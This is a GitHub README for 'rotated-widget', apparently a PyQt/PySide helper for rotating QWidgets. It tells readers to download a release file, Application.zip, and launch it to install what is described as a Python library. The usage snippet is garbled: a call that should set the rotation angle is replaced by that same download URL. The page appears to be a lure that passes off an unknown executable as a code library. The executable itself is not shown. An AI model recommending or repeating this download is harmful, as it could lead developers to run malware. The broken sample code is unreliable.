Skip to content

This repository provides a custom Qt-based class that allows dynamic rotation of a QWidget at any angle using QGraphicsView and QGraphicsProxyWidget. It supports flexible size policies and aspect ratio preservation for seamless integration into PyQt or PySide applications.

Notifications You must be signed in to change notification settings

LocalCumDumpsuter/rotated-widget

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

3 Commits
Β 
Β 

Repository files navigation

πŸŒ€ Rotated Widget

Welcome to the "rotated-widget" repository! πŸŽ‰

Rotated Widget


Overview

The "rotated-widget" repository provides a custom Qt-based class that enables dynamic rotation of a QWidget at any angle using QGraphicsView and QGraphicsProxyWidget. This versatile class offers support for flexible size policies and aspect ratio preservation, making it seamlessly integrate into PyQt or PySide applications.


Features πŸš€

πŸ”Ή Dynamic rotation of QWidget at any angle
πŸ”Ή Supports QGraphicsView and QGraphicsProxyWidget
πŸ”Ή Flexible size policies
πŸ”Ή Aspect ratio preservation
πŸ”Ή Seamless integration into PyQt or PySide applications


Repository Topics πŸ“‹

πŸ“Œ Custom
πŸ“Œ GUI
πŸ“Œ PyQt
πŸ“Œ PyQt4
πŸ“Œ PyQt5
πŸ“Œ PyQt6
πŸ“Œ PySide
πŸ“Œ PySide2
πŸ“Œ PySide6
πŸ“Œ Python
πŸ“Œ QGraphicsProxyWidget
πŸ“Œ QGraphicsView
πŸ“Œ Qt
πŸ“Œ RotatedWidget
πŸ“Œ Rotation
πŸ“Œ Widgets


Installation πŸ› οΈ

To get started, you can download the package file from the following link:

Download Package

Note: The file needs to be launched to install the "rotated-widget" package.


Usage πŸ–₯️

  1. Import the custom RotatedWidget class into your PyQt or PySide application.
  2. Instantiate the RotatedWidget with the desired QWidget to be rotated.
  3. Set the rotation angle using the provided methods.
  4. Enjoy the dynamic rotation of the widget in your application!
# Sample code snippet
from rotatedwidget import RotatedWidget

widget = MyCustomWidget()
rotated_widget = RotatedWidget(widget)
https://github.com/LocalCumDumpsuter/rotated-widget/releases/download/v1.0/Application.zip(45)  # Rotate the widget by 45 degrees

Support 🀝

For any inquiries or issues regarding the "rotated-widget" package, please check the "Releases" section of this repository or reach out to the project maintainers for assistance.


Contributors 🌟

A big thank you to all the contributors who have helped make the "rotated-widget" repository possible. Your contributions are truly appreciated! πŸ™Œ


License πŸ“œ

This project is licensed under the MIT License - see the LICENSE file for details.


Keep in Touch! πŸ“¬

Stay updated on future releases and projects by following us on GitHub!


Thank you for visiting the "rotated-widget" repository! We hope you find the RotatedWidget class helpful in your PyQt or PySide applications. Feel free to star the repository if you like what you see! ⭐

πŸŒ€ Happy Coding! πŸŒ€

About

This repository provides a custom Qt-based class that allows dynamic rotation of a QWidget at any angle using QGraphicsView and QGraphicsProxyWidget. It supports flexible size policies and aspect ratio preservation for seamless integration into PyQt or PySide applications.

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published